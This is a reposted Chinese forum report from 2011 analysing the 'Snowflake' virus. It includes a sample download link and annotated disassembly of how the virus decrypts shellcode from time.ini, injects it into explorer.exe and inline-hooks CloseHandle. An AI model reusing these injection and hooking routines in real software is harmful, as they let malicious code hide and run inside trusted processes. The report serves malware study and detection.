雪花病毒分析报告

标 题: 【原创】雪花病毒分析报告
作 者: wParma 
时 间: 2011-05-21
链 接: http://bbs.pediy.com/showthread.php?t=134304

样本传送门:  猛击下载  

解压密码:virus

前言:

雪花病毒已经飘过有一阵子了,各大杀软已经能完全查杀,但是其中有些想法不错,这里拿出来和各位朋友分享.

病毒特征
1.主程序和恶意代码分离,恶意代码以shellcode的形式加密在单独的配置文件中.
2.只能起一次危害作用.程序运行一次后恶意代码被覆盖.
内容摘要
本次分析的主要关注
病毒向explorer.exe注入恶意代码,并且inlinehook CloseHandle 使恶意代码获得执行机会
分析开始
1.整个病毒的整体流程很简单清晰:
加载time.ini,----->解码time.ini----->改写time.ini的内容----->执行time.ini中的恶意代码
流程图如下所示:
名称:  整体1.gif 查看次数: 778 文件大小:  4.2 KB

下面主要描述 time.ini的解码,以及time.ini恶意代码执行(shellcode)的过程:
1.1 time.ini解码
解码的过程就是加密数据和key1,key2做两次xor,  Key2存放在time.ini+0偏移处,也就是开始的几个字符"0x00505372", key1初始为0在每次解码的时候和解码结果做加法变换
具体流程如下图所示:
名称:  解码整体1.gif 查看次数: 778 文件大小:  7.8 KB

 

代码简单注释如下:
 1  ; time.ini的解码
 2  00401926    > /8B4D E8                mov      ecx, dword ptr [ebp- 18 ]
 3  00401929    . |83C1  04                 add      ecx,  4
 4  0040192C    . |894D E8                mov      dword ptr [ebp- 18 ], ecx
 5  0040192F    > |8B55 E8                mov      edx, dword ptr [ebp- 18 ]
 6  00401932    . |3B55 E4                cmp      edx, dword ptr [ebp-1C]
 7  00401935    . |7D  33                   jge      short  0040196A                                    ;   解密是否完成
 8  00401937    . |8B45  08                 mov      eax, dword ptr [ebp+ 8 ]
 9  0040193A    . | 0345  E8                add      eax, dword ptr [ebp- 18 ]
10  0040193D    . |8B08                   mov      ecx, dword ptr [eax]
11  0040193F    . |894D EC                mov      dword ptr [ebp- 14 ], ecx                          ;   获取加密数据
12  00401942    . |8B55 EC                mov      edx, dword ptr [ebp- 14 ]
13  00401945    . | 3355  F0                xor      edx, dword ptr [ebp- 10 ]                          ;   用加密的数据和key1做xor
14  00401948    . | 8955  EC                mov      dword ptr [ebp- 14 ], edx
15  0040194B    . |8B45 EC                mov      eax, dword ptr [ebp- 14 ]
16  0040194E    . | 3345  F8                xor      eax, dword ptr [ebp- 8 ]                           ;   用第一步的结果和key2做xor,key2来自time.ini+0处
17  00401951    . | 8945  EC                mov      dword ptr [ebp- 14 ], eax
18  00401954    . |8B4D F0                mov      ecx, dword ptr [ebp- 10 ]
19  00401957    . | 034D  EC                add      ecx, dword ptr [ebp- 14 ]                          ;   变换key1,用key1和解密数据做add
20  0040195A    . |894D F0                mov      dword ptr [ebp- 10 ], ecx
21  0040195D    . |8B55  08                 mov      edx, dword ptr [ebp+ 8 ]
22  00401960    . | 0355  E8                add      edx, dword ptr [ebp- 18 ]
23  00401963    . |8B45 EC                mov      eax, dword ptr [ebp- 14 ]
24  00401966    . | 8902                    mov      dword ptr [edx], eax                             ;   保存解密后的数据
25  00401968    .^\EB BC                  jmp      short  00401926

 

经过上面的解码过程time.ini中的数据已经变成可执行的shellcode.

1.2 time.ini恶意代码(shellcode)执行

1.2.1 shellcoede执行的起始位
shellcoede执行的起始位置由 time.ini+0x8处的偏移来计算,计算方法是time.ini+0xc在内存中的位置为基质加上time.ini+0x8的数据为偏移
具体代码以及简单注释如下所示:

 1  0040150A   |.  8B4D  08                 mov      ecx, dword ptr [ebp+ 8 ]
 2  0040150D   |.  8B11                   mov      edx, dword ptr [ecx]
 3  0040150F   |.   8955  FC                mov      dword ptr [ebp- 4 ], edx                           ;   offset 获取shellcode开始执行的偏移 在time.ini+0x8取
 4  00401512   |.  8B45  08                 mov      eax, dword ptr [ebp+ 8 ]
 5  00401515   |.  83C0  04                 add      eax,  4                                            ;   baseaddress 获取time.ini+c偏移在内存中的位置
 6  00401518   |.   8945  F8                mov      dword ptr [ebp- 8 ], eax
 7  0040151B   |.  8B4D F8                mov      ecx, dword ptr [ebp- 8 ]
 8  0040151E   |.   034D  FC                add      ecx, dword ptr [ebp- 4 ]                           ;   shellOEP = baseaddress+offset 通过计算或得shellcode开始执行的位置
 9  00401521   |.   0FBE11                  movsx    edx, byte ptr [ecx]
10  00401524   |.  83FA  55                 cmp      edx,  55                                           ;   通过特征码验证shellOEP是否正确
11  00401527   |.   0F85   94000000           jnz       004015C1


按照上面的偏移进入shellcode后的整体流程如下所示:

名称:  shellcode整体1.gif 查看次数: 776 文件大小:  18.5 KB

1.2.2.1 获取kernel32基质:
获取kernel32基质的方式用的是fs:0论坛前辈已经详细讲解过这里不再重复,

1.2.2.2 获取API:
病毒在获取API的时候对断点进行了检查并且对地址做了简单的处理,就是把函数地址-1这样在动态分析的时候看不到函数名字很不方便.没准还能逃避一些主防手段
还原的方式也很简单只要nop掉00C5036F  00C50375 两处的代码即可.
具体代码如下
;断点检测和地址简单处理

 

1  00C5036C      8038  CC                  cmp      byte ptr [eax],  0CC                               ;  当前获取函数是否被下断点
2  00C5036F      74  7F                    je       short  00C503F0
3  00C50371      48                        dec      eax                                              ;  获取的函数地质-1
4  00C50372      8038   90                   cmp      byte ptr [eax],  90                                ;  当前指向的位置是否为nop,如果不是还原地质
5  00C50375      74   01                     je       short  00C50378
6  00C50377      40                        inc      eax

1.2.2.3 遍历进程:
遍历进程寻找explorer.exe的代码很普通不多说了,

1.2.2.4 恶意代码注入explorer.exe 和 对 CloseHandle的inlinehook
找到explorer.exe后通过OpenProcess打开之,然后读取explorer.exe中CloseHandle函数的前五字节并保存,这里explorer.exe中CloseHandle函数地址直接用的自身CloseHandle的地址
因为大部分情况下不同进程kernel32.dll的基质是一样的.这个假设在这里也成立.

有了CloseHandle的位置以后就可以对 explorer.exe 的函数进行Hook了,病毒在进行Hook之前先将hook的目的函数写入了explorer.exe 并计算出了Hook点的代码

 1  00C5C649     FF10                     call     dword ptr [eax]                                  ;  ReadProcessMemory
 2  00C5C64B     85C0                     test     eax, eax
 3  00C5C64D      0F84  F3000000            je        00C5C746
 4  00C5C653     8B45 D6                  mov      eax, dword ptr [ebp-2A]
 5  00C5C656     3D 8BFF558B              cmp      eax, 8B55FF8B                                    ;  用特征值比对是否读取正确
 6  00C5C65B      0F85  DE000000            jnz       00C5C73F
 7  00C5C661     6A  40                     push      40
 8  00C5C663      68   00100000               push      1000
 9  00C5C668      68  14C80000              push      0C814
10  00C5C66D     6A  00                     push      0
11  00C5C66F     FF75 F8                  push     dword ptr [ebp- 8 ]
12  00C5C672     E8  04000000               call      00C5C67B                                          ;  读取成功在explorer.exe中申请一块内存
13  00C5C677     E7 BD                    out       0BD , eax
14  00C5C679      0000                      add      byte ptr [eax], al
15  00C5C67B      58                        pop      eax
16  00C5C67C     2B00                     sub      eax, dword ptr [eax]
17  00C5C67E     FF10                     call     dword ptr [eax]
18  00C5C680     85C0                     test     eax, eax
19  00C5C682      0F84  BE000000            je        00C5C746
20  00C5C688      8945  F4                  mov      dword ptr [ebp-C], eax                           ;  保存内存地址
21  00C5C68B     8D45 D6                  lea      eax, dword ptr [ebp-2A]
22  00C5C68E     C600 E9                  mov      byte ptr [eax],  0E9
23  00C5C691     B9 F4C40000              mov      ecx,  0C4F4                                        ;  注入到explorer.exe部分shellcode开始执行地址偏移是个营编码值
24  00C5C696      034D  F4                  add      ecx, dword ptr [ebp-C]                           ;  计算注入到explorer.exe后ShellCode开始执行的 内存地址
25  00C5C699     2B4D E4                  sub      ecx, dword ptr [ebp-1C]
26  00C5C69C     83E9  05                   sub      ecx,  5                                            ;  计算JMP指令的值(计算Hook点的代码)
27  00C5C69F      8948   01                   mov      dword ptr [eax+ 1 ], ecx
28  00C5C6A2     C745 EC 14C80000         mov      dword ptr [ebp- 14 ],  0C814
29  00C5C6A9     C745 F0  00000000          mov      dword ptr [ebp- 10 ],  0
30  00C5C6B0     C745 E8  00000000          mov      dword ptr [ebp- 18 ],  0
31  00C5C6B7     837D EC  00                cmp      dword ptr [ebp- 14 ],  0
32  00C5C6BB      74   42                     je       short  00C5C6FF
33  00C5C6BD     8D45 F0                  lea      eax, dword ptr [ebp- 10 ]
34  00C5C6C0      50                        push     eax
35  00C5C6C1     FF75 EC                  push     dword ptr [ebp- 14 ]
36  00C5C6C4     E8  04000000               call      00C5C6CD
37  00C5C6C9     BD C6000058              mov      ebp, 58 0000C6
38  00C5C6CE     2B00                     sub      eax, dword ptr [eax]
39  00C5C6D0      0345  E8                  add      eax, dword ptr [ebp- 18 ]
40  00C5C6D3      50                        push     eax
41  00C5C6D4     8B45 F4                  mov      eax, dword ptr [ebp-C]
42  00C5C6D7      0345  E8                  add      eax, dword ptr [ebp- 18 ]
43  00C5C6DA      50                        push     eax
44  00C5C6DB     FF75 F8                  push     dword ptr [ebp- 8 ]
45  00C5C6DE     E8  04000000               call      00C5C6E7                                          ;  将timt.ini+0xc开始解码后的数据写入explorer.exe进程地址空间

 

将Shellcode写入目标进程后 病毒 Hook的目标进程 的kernel32.CloseHandle

具体代码如下:

 1  00C5C719     FF10                    call     dword ptr [eax]                                  ;  修改CloseHandle处的内存读写属性
 2  00C5C71B     85C0                     test     eax, eax
 3  00C5C71D      74   27                     je       short  00C5C746
 4  00C5C71F     6A  00                     push      0
 5  00C5C721     6A  05                     push      5
 6  00C5C723     8D45 D6                  lea      eax, dword ptr [ebp-2A]
 7  00C5C726      50                        push     eax
 8  00C5C727     FF75 E4                  push     dword ptr [ebp-1C]
 9  00C5C72A     FF75 F8                  push     dword ptr [ebp- 8 ]
10  00C5C72D     E8  04000000               call      00C5C736                                          ;  用上一步骤计算好的JMP指令替换CloseHandle的前5字节

 

经过上面ShellCode代码注入和对CloseHandle的inlineHook病毒代码已经可以在explorer.exe执行过程中或得执行的权利 ,

经过inlinehook和恶意代码注入两个步骤explorer.exe地址空间内发生了如下图所示的变化
hook前
名称:  原始.jpg 查看次数: 782 文件大小:  76.7 KB

hook后
名称:  雪花Hook.jpg 查看次数: 778 文件大小:  77.5 KB

如果explorer.exe调用CloseHandle这个API的话如下所示的恶意代码将获得执行的机会 貌似是个下载者,这里不做为重点分析

被写入的恶意shellcode
名称:  雪花坏事代码.jpg 查看次数: 782 文件大小:  37.3 KB

 搞完收工

转载于:https://www.cnblogs.com/wParma/archive/2011/06/17/2083986.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值